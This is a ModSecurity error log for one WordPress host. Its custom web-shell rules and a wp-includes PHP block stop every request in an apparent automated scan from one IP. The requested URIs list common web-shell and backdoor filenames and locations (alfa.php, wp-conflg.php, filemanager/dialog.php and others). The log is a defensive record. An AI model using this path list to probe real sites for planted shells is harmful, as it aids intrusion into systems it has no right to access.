[Mon Feb 23 07:47:57.946439 2026] [:error] [pid 25380:tid 25384] [client 20.203.249.16:5593] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aZuVraKrc8yFQ8fy78ryoQAAAMI"]
[Mon Feb 23 07:47:58.425125 2026] [:error] [pid 25294:tid 25366] [client 20.203.249.16:27636] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aZuVriRCFB3CqIo_jfY_LAAAAFA"]
[Mon Feb 23 07:47:58.919946 2026] [:error] [pid 25294:tid 25375] [client 20.203.249.16:3099] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aZuVriRCFB3CqIo_jfY_MAAAAFY"]
[Mon Feb 23 07:47:59.412363 2026] [:error] [pid 25294:tid 25374] [client 20.203.249.16:2360] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aZuVryRCFB3CqIo_jfY_NAAAAFU"]
[Mon Feb 23 07:47:59.893356 2026] [:error] [pid 25295:tid 25369] [client 20.203.249.16:6692] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aZuVr42Av4J1Jnqi7yKCIAAAAJg"]
[Mon Feb 23 07:48:00.383761 2026] [:error] [pid 25295:tid 25349] [client 20.203.249.16:29989] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aZuVsI2Av4J1Jnqi7yKCIQAAAI4"]
[Mon Feb 23 07:48:00.880662 2026] [:error] [pid 25380:tid 25390] [client 20.203.249.16:6533] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aZuVsKKrc8yFQ8fy78rysQAAAMg"]
[Mon Feb 23 07:48:01.901203 2026] [:error] [pid 25380:tid 25400] [client 20.203.249.16:4831] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aZuVsaKrc8yFQ8fy78ryugAAANI"]
[Mon Feb 23 07:48:02.482574 2026] [:error] [pid 25294:tid 25334] [client 20.203.249.16:10736] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aZuVsiRCFB3CqIo_jfY_PQAAAEM"]
[Mon Feb 23 07:48:03.001693 2026] [:error] [pid 25380:tid 25403] [client 20.203.249.16:2638] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aZuVs6Krc8yFQ8fy78ryvwAAANU"]
[Mon Feb 23 07:48:03.473979 2026] [:error] [pid 25293:tid 25316] [client 20.203.249.16:6583] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aZuVs-L9XfBf66iHi_d6RwAAABE"]
[Mon Feb 23 07:48:03.946674 2026] [:error] [pid 25294:tid 25377] [client 20.203.249.16:4004] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aZuVsyRCFB3CqIo_jfY_QgAAAFg"]
[Mon Feb 23 07:48:04.421984 2026] [:error] [pid 25294:tid 25358] [client 20.203.249.16:6588] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aZuVtCRCFB3CqIo_jfY_QwAAAEw"]
[Mon Feb 23 07:48:04.931349 2026] [:error] [pid 25295:tid 25352] [client 20.203.249.16:8838] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aZuVtI2Av4J1Jnqi7yKCJgAAAI8"]
[Mon Feb 23 07:48:05.426961 2026] [:error] [pid 25380:tid 25405] [client 20.203.249.16:28660] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aZuVtaKrc8yFQ8fy78ryyAAAANc"]
[Mon Feb 23 07:48:05.914655 2026] [:error] [pid 25380:tid 25388] [client 20.203.249.16:4852] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aZuVtaKrc8yFQ8fy78ryygAAAMY"]
[Mon Feb 23 07:48:06.473595 2026] [:error] [pid 25380:tid 25390] [client 20.203.249.16:28341] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aZuVtqKrc8yFQ8fy78ryzAAAAMg"]
[Mon Feb 23 07:48:06.951373 2026] [:error] [pid 25380:tid 25397] [client 20.203.249.16:6666] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aZuVtqKrc8yFQ8fy78ry0AAAAM8"]
[Mon Feb 23 07:48:07.428460 2026] [:error] [pid 25380:tid 25406] [client 20.203.249.16:10385] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aZuVt6Krc8yFQ8fy78ry0wAAANg"]
[Mon Feb 23 07:48:07.929914 2026] [:error] [pid 25294:tid 25341] [client 20.203.249.16:10681] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aZuVtyRCFB3CqIo_jfY_SQAAAEQ"]
[Mon Feb 23 07:48:08.412875 2026] [:error] [pid 25380:tid 25390] [client 20.203.249.16:2845] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZuVuKKrc8yFQ8fy78ry1QAAAMg"]
[Mon Feb 23 07:48:08.890683 2026] [:error] [pid 25294:tid 25358] [client 20.203.249.16:3972] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZuVuCRCFB3CqIo_jfY_UAAAAEw"]
[Mon Feb 23 07:48:09.364047 2026] [:error] [pid 25295:tid 25332] [client 20.203.249.16:27612] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZuVuY2Av4J1Jnqi7yKCNAAAAII"]
[Mon Feb 23 07:48:10.000015 2026] [:error] [pid 25295:tid 25338] [client 20.203.249.16:28360] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aZuVuY2Av4J1Jnqi7yKCNwAAAIc"]
[Mon Feb 23 07:48:10.493280 2026] [:error] [pid 25294:tid 25370] [client 20.203.249.16:4005] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aZuVuiRCFB3CqIo_jfY_VAAAAFI"]
[Mon Feb 23 07:48:10.969878 2026] [:error] [pid 25294:tid 25360] [client 20.203.249.16:11203] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aZuVuiRCFB3CqIo_jfY_VwAAAE0"]
[Mon Feb 23 07:48:11.445187 2026] [:error] [pid 25293:tid 25321] [client 20.203.249.16:28615] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aZuVu-L9XfBf66iHi_d6WAAAABY"]
[Mon Feb 23 07:48:11.978195 2026] [:error] [pid 25380:tid 25398] [client 20.203.249.16:2850] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aZuVu6Krc8yFQ8fy78ry2QAAANA"]
[Mon Feb 23 07:48:12.481894 2026] [:error] [pid 25294:tid 25368] [client 20.203.249.16:29857] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aZuVvCRCFB3CqIo_jfY_WgAAAFE"]
[Mon Feb 23 07:48:13.043550 2026] [:error] [pid 25380:tid 25395] [client 20.203.249.16:18663] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZuVvaKrc8yFQ8fy78ry4wAAAM0"]
[Mon Feb 23 07:48:13.528018 2026] [:error] [pid 25380:tid 25401] [client 20.203.249.16:7334] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZuVvaKrc8yFQ8fy78ry5QAAANM"]
[Mon Feb 23 07:48:14.055459 2026] [:error] [pid 25294:tid 25374] [client 20.203.249.16:2268] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aZuVviRCFB3CqIo_jfY_XgAAAFU"]
[Mon Feb 23 07:48:14.541068 2026] [:error] [pid 25380:tid 25387] [client 20.203.249.16:10390] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aZuVvqKrc8yFQ8fy78ry5wAAAMU"]
[Mon Feb 23 07:48:15.034939 2026] [:error] [pid 25293:tid 25317] [client 20.203.249.16:2868] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aZuVv-L9XfBf66iHi_d6YgAAABI"]
[Mon Feb 23 07:48:15.651253 2026] [:error] [pid 25293:tid 25323] [client 20.203.249.16:28299] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aZuVv-L9XfBf66iHi_d6ZwAAABg"]
[Mon Feb 23 07:48:16.176239 2026] [:error] [pid 25380:tid 25387] [client 20.203.249.16:4839] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aZuVwKKrc8yFQ8fy78ry9QAAAMU"]
[Mon Feb 23 07:48:16.701893 2026] [:error] [pid 25293:tid 25302] [client 20.203.249.16:6682] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aZuVwOL9XfBf66iHi_d6awAAAAM"]
[Mon Feb 23 07:48:17.185015 2026] [:error] [pid 25380:tid 25387] [client 20.203.249.16:6715] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aZuVwaKrc8yFQ8fy78rzAAAAAMU"]
[Mon Feb 23 07:48:17.679969 2026] [:error] [pid 25294:tid 25348] [client 20.203.249.16:2243] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZuVwSRCFB3CqIo_jfY_YAAAAEc"]
[Mon Feb 23 07:48:18.153862 2026] [:error] [pid 25380:tid 25399] [client 20.203.249.16:2831] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZuVwqKrc8yFQ8fy78rzCAAAANE"]
[Mon Feb 23 07:48:18.755655 2026] [:error] [pid 25293:tid 25314] [client 20.203.249.16:2639] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aZuVwuL9XfBf66iHi_d6bgAAAA8"]
[Mon Feb 23 07:48:19.411570 2026] [:error] [pid 25294:tid 25360] [client 20.203.249.16:4861] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aZuVwyRCFB3CqIo_jfY_ZAAAAE0"]
[Mon Feb 23 07:48:19.896983 2026] [:error] [pid 25295:tid 25337] [client 20.203.249.16:6698] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aZuVw42Av4J1Jnqi7yKCQwAAAIY"]
[Mon Feb 23 07:48:20.388805 2026] [:error] [pid 25380:tid 25394] [client 20.203.249.16:2828] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aZuVxKKrc8yFQ8fy78rzEAAAAMw"]
[Mon Feb 23 07:48:20.868879 2026] [:error] [pid 25380:tid 25391] [client 20.203.249.16:29880] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aZuVxKKrc8yFQ8fy78rzEgAAAMk"]
[Mon Feb 23 07:48:21.369199 2026] [:error] [pid 25380:tid 25393] [client 20.203.249.16:2821] [client 20.203.249.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZuVxaKrc8yFQ8fy78rzFwAAAMs"]
[Mon Feb 23 07:48:21.843691 2026] [:error] [pid 25294:tid 25362] [client 20.203.249.16:29953] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aZuVxSRCFB3CqIo_jfY_agAAAE4"]
[Mon Feb 23 07:48:22.322840 2026] [:error] [pid 25293:tid 25320] [client 20.203.249.16:11245] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aZuVxuL9XfBf66iHi_d6dQAAABU"]
[Mon Feb 23 07:48:22.812624 2026] [:error] [pid 25293:tid 25301] [client 20.203.249.16:10388] [client 20.203.249.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aZuVxuL9XfBf66iHi_d6dwAAAAI"]
[Mon Feb 23 07:48:23.286104 2026] [:error] [pid 25294:tid 25356] [client 20.203.249.16:2630] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aZuVxyRCFB3CqIo_jfY_bQAAAEs"]
[Mon Feb 23 07:48:23.763491 2026] [:error] [pid 25380:tid 25399] [client 20.203.249.16:2272] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aZuVx6Krc8yFQ8fy78rzIgAAANE"]
[Mon Feb 23 07:48:24.264092 2026] [:error] [pid 25295:tid 25339] [client 20.203.249.16:6697] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aZuVyI2Av4J1Jnqi7yKCRgAAAIg"]
[Mon Feb 23 07:48:24.785807 2026] [:error] [pid 25380:tid 25385] [client 20.203.249.16:7332] [client 20.203.249.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aZuVyKKrc8yFQ8fy78rzJwAAAMM"]
[Mon Feb 23 07:48:25.293173 2026] [:error] [pid 25294:tid 25366] [client 20.203.249.16:10428] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aZuVySRCFB3CqIo_jfY_cQAAAFA"]
[Mon Feb 23 07:48:25.771157 2026] [:error] [pid 25294:tid 25331] [client 20.203.249.16:10687] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aZuVySRCFB3CqIo_jfY_dAAAAEI"]
[Mon Feb 23 07:48:26.242128 2026] [:error] [pid 25294:tid 25362] [client 20.203.249.16:29824] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aZuVyiRCFB3CqIo_jfY_dwAAAE4"]
